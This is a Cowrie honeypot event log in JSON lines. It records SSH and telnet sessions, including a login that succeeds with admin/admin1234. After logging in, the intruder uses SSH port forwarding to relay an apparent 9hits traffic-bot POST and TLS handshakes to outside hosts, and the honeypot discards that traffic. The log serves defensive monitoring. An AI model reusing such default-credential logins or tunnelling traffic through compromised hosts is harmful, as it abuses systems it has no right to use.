{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:21.425924Z","src_ip":"23.175.50.47","session":"30c97c75e41d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:21.845166Z","src_ip":"103.60.242.169","session":"146d40bb4b63","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:23.473912Z","src_ip":"23.175.50.47","session":"30c97c75e41d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:26.732514Z","session":"30c97c75e41d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:26.789609Z","src_ip":"23.175.50.47","session":"30c97c75e41d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.0; K33b36) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=cj5uLzVtQUNVdStLPFh5eQ%3D%3DNWB50i84pizVtLpyeHiPx6u0WpcWwjVFjhm8f0EldWCzIo8sZ8Ovaakvtr9N0YGxGxGKxPclAkTrCjFTr%2F2Kea%2FHu2GIUIIyfWe0CQdJnUwMwYweuktAQNMGF0%2BoCtOOEUvdVgDzxbX8TMNeekbUmLaSyBpq8wA1N5N8D4XaZcAEYDOudhz0uyig%2Fe3OV7a%2BTX1Tokg%2BM3kJKljYUd1k%2F%2BEXZd12LMAhhwrQy6LxIuS8e8GrYWhP%2FI1K0xjwl46CkoeRWMYMggxODSFBy1LBjA%2FNs1vLUADrLv01dDDgG74F3305KEAZygNGCiNiS02AOsuEixZnPqqtFQlanq8czOzIMyjrnAGfrAYk33PxgfnVvqZyk2JTJ8nIgA5rZrKO7n86%2FU4SfGj%2Fv7K3SH83EnL8WVuvGzkCcHJlXMeyMgMOxCCaIq6ydlpgCHcF5iymZ02ZqBUiFW1itJptAMAZe0%2FUhx8vnSzZhxG6HCJj0QhAVbyStudcHan8IZGcaQIYx6yNhe4379j9VZzR9Q5kGgu%2BCNOa53l7WvZiDLxITtnvQzNZ8f6ZhRWm%2BCMMOqc0DWkQAEwH6Yatfz8AA75qc15BFUbWW5kIwy5u1tI%2B%2F%2BSZC8lNnVc%2BNxo7Z%2BimKmCt481uHRlidC8WDBlCMsMA2BuAIVzj8%2BhpY%2Bny0iJz1otks7I9JakfM%2FCKhj4OEZgGNHb0VjF11sJag8iFM0FZp9HcP1L1ox6hEZ92O5NTLFBmTzJvpYa%2FqNT1aNSSakbLt2o%2BwshEDk8Y0dbmSZsJ%2BFaQxgNmK243P5Q%2BIPLhcqejIBtqTbzQhd%2B1%2Fml4i1PswF9wy%2BFgeyWq1I%2FA5BVv3HgBoFkxYLGtx3A31vY%2F4G9BsOToFL6HM9xI%2B6izzjKd%2Funx2ZWH5gng0erSVQwSEqmloGJ6XsYRLITOXZHa5POTMvL9F9FbD%2BaMiZsAFwb6DoaPBhOL6%2Ftg7f7N7PpEqdnY0Z6HHYe9lR3fUrE6fO6e0qoR5IAAoGZ83%2B%2FdUfr%2BHURCluN4Q%2BqnY6%2F6DCEei4bNgJA5qA4V6nuQsgnIVzU%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.0; K33b36) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=cj5uLzVtQUNVdStLPFh5eQ%3D%3DNWB50i84pizVtLpyeHiPx6u0WpcWwjVFjhm8f0EldWCzIo8sZ8Ovaakvtr9N0YGxGxGKxPclAkTrCjFTr%2F2Kea%2FHu2GIUIIyfWe0CQdJnUwMwYweuktAQNMGF0%2BoCtOOEUvdVgDzxbX8TMNeekbUmLaSyBpq8wA1N5N8D4XaZcAEYDOudhz0uyig%2Fe3OV7a%2BTX1Tokg%2BM3kJKljYUd1k%2F%2BEXZd12LMAhhwrQy6LxIuS8e8GrYWhP%2FI1K0xjwl46CkoeRWMYMggxODSFBy1LBjA%2FNs1vLUADrLv01dDDgG74F3305KEAZygNGCiNiS02AOsuEixZnPqqtFQlanq8czOzIMyjrnAGfrAYk33PxgfnVvqZyk2JTJ8nIgA5rZrKO7n86%2FU4SfGj%2Fv7K3SH83EnL8WVuvGzkCcHJlXMeyMgMOxCCaIq6ydlpgCHcF5iymZ02ZqBUiFW1itJptAMAZe0%2FUhx8vnSzZhxG6HCJj0QhAVbyStudcHan8IZGcaQIYx6yNhe4379j9VZzR9Q5kGgu%2BCNOa53l7WvZiDLxITtnvQzNZ8f6ZhRWm%2BCMMOqc0DWkQAEwH6Yatfz8AA75qc15BFUbWW5kIwy5u1tI%2B%2F%2BSZC8lNnVc%2BNxo7Z%2BimKmCt481uHRlidC8WDBlCMsMA2BuAIVzj8%2BhpY%2Bny0iJz1otks7I9JakfM%2FCKhj4OEZgGNHb0VjF11sJag8iFM0FZp9HcP1L1ox6hEZ92O5NTLFBmTzJvpYa%2FqNT1aNSSakbLt2o%2BwshEDk8Y0dbmSZsJ%2BFaQxgNmK243P5Q%2BIPLhcqejIBtqTbzQhd%2B1%2Fml4i1PswF9wy%2BFgeyWq1I%2FA5BVv3HgBoFkxYLGtx3A31vY%2F4G9BsOToFL6HM9xI%2B6izzjKd%2Funx2ZWH5gng0erSVQwSEqmloGJ6XsYRLITOXZHa5POTMvL9F9FbD%2BaMiZsAFwb6DoaPBhOL6%2Ftg7f7N7PpEqdnY0Z6HHYe9lR3fUrE6fO6e0qoR5IAAoGZ83%2B%2FdUfr%2BHURCluN4Q%2BqnY6%2F6DCEei4bNgJA5qA4V6nuQsgnIVzU%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:26.792523Z","src_ip":"23.175.50.47","session":"30c97c75e41d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:27.078002Z","session":"30c97c75e41d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:27.135168Z","src_ip":"23.175.50.47","session":"30c97c75e41d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbd\\xf6\\xa1\\x00t\\xa2\\xf2\\xafE\\xa0Up\\xb02\\xafN\\xdbI\\xb4\\t\\x94\\xf8\\xc9Gp\\xc34wf\"\\x00( \\xd5\\x98\\x1d\\xb3\\x12\\xd2\\xcc\\xb1=\\xed\\x87F\\xa2:\\x0c\\t\\xcbcR\\x1b\\xc0I\\xedS\\x03n1\\x0b\\x07!xo\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbf\\xc0\\xf5q\\x16\\x0b\\xb77\\x9e\\xbf\\xaa\\xb9\\xf6R;\\xf6J\\x01\\xbb\\x1c=6\\x8d\\xa2z\\xc3 V\\r@sL\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbd\\xf6\\xa1\\x00t\\xa2\\xf2\\xafE\\xa0Up\\xb02\\xafN\\xdbI\\xb4\\t\\x94\\xf8\\xc9Gp\\xc34wf\"\\x00( \\xd5\\x98\\x1d\\xb3\\x12\\xd2\\xcc\\xb1=\\xed\\x87F\\xa2:\\x0c\\t\\xcbcR\\x1b\\xc0I\\xedS\\x03n1\\x0b\\x07!xo\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbf\\xc0\\xf5q\\x16\\x0b\\xb77\\x9e\\xbf\\xaa\\xb9\\xf6R;\\xf6J\\x01\\xbb\\x1c=6\\x8d\\xa2z\\xc3 V\\r@sL\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:27.138561Z","src_ip":"23.175.50.47","session":"30c97c75e41d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:27.203113Z","session":"30c97c75e41d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:27.280319Z","src_ip":"23.175.50.47","session":"30c97c75e41d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0f\\xde\\x97S9\\xf9\\x08\\xd4j\\x03x\\xb0%mH0\\xca\\xa3\\xf3\\xfb\\xe9\\x06Q\\xd6\\xc6\\xe0\\x8c\\x9fHu=\\xf5 \\x85\\xf5\\xe1&\\xf3)X\\xdc5\\x96u\\xe3\\xcd\\xc1\\xb6\\x1f\\xf4\\x11\\xd4\\x89\\xa2~&_\\x7fM\\xa8\\x91\\xc5H\\xd3\\xd0\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc8\\x0e6\\xb2\\x9e\\xeb\\xc7\\xbb\\x95\\x89\\xa8\\xe9?\\xd0\\x8b\\xad\\x08\\xa1\\xf8\\x14\\x13_\\xe6\\xa4\\xd9u\\xab\\xffP\\xb3x\\x17\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0f\\xde\\x97S9\\xf9\\x08\\xd4j\\x03x\\xb0%mH0\\xca\\xa3\\xf3\\xfb\\xe9\\x06Q\\xd6\\xc6\\xe0\\x8c\\x9fHu=\\xf5 \\x85\\xf5\\xe1&\\xf3)X\\xdc5\\x96u\\xe3\\xcd\\xc1\\xb6\\x1f\\xf4\\x11\\xd4\\x89\\xa2~&_\\x7fM\\xa8\\x91\\xc5H\\xd3\\xd0\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc8\\x0e6\\xb2\\x9e\\xeb\\xc7\\xbb\\x95\\x89\\xa8\\xe9?\\xd0\\x8b\\xad\\x08\\xa1\\xf8\\x14\\x13_\\xe6\\xa4\\xd9u\\xab\\xffP\\xb3x\\x17\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:27.285082Z","src_ip":"23.175.50.47","session":"30c97c75e41d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.082263946533203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:27.634295Z","src_ip":"128.199.8.54","session":"34cd2d02abec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:31.790257Z","src_ip":"23.175.50.47","session":"30c97c75e41d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.718040466308594,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:33.104273Z","src_ip":"128.199.8.54","session":"24f7a063e189","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":52866,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfbdc20634d1","protocol":"ssh","message":"New connection: 23.175.50.52:52866 (10.17.0.5:22) [session: dfbdc20634d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:34.344773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:34.348901Z","src_ip":"23.175.50.52","session":"dfbdc20634d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":52868,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d7d4baa6316","protocol":"ssh","message":"New connection: 23.175.50.52:52868 (10.17.0.5:22) [session: 2d7d4baa6316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:34.360468Z"}
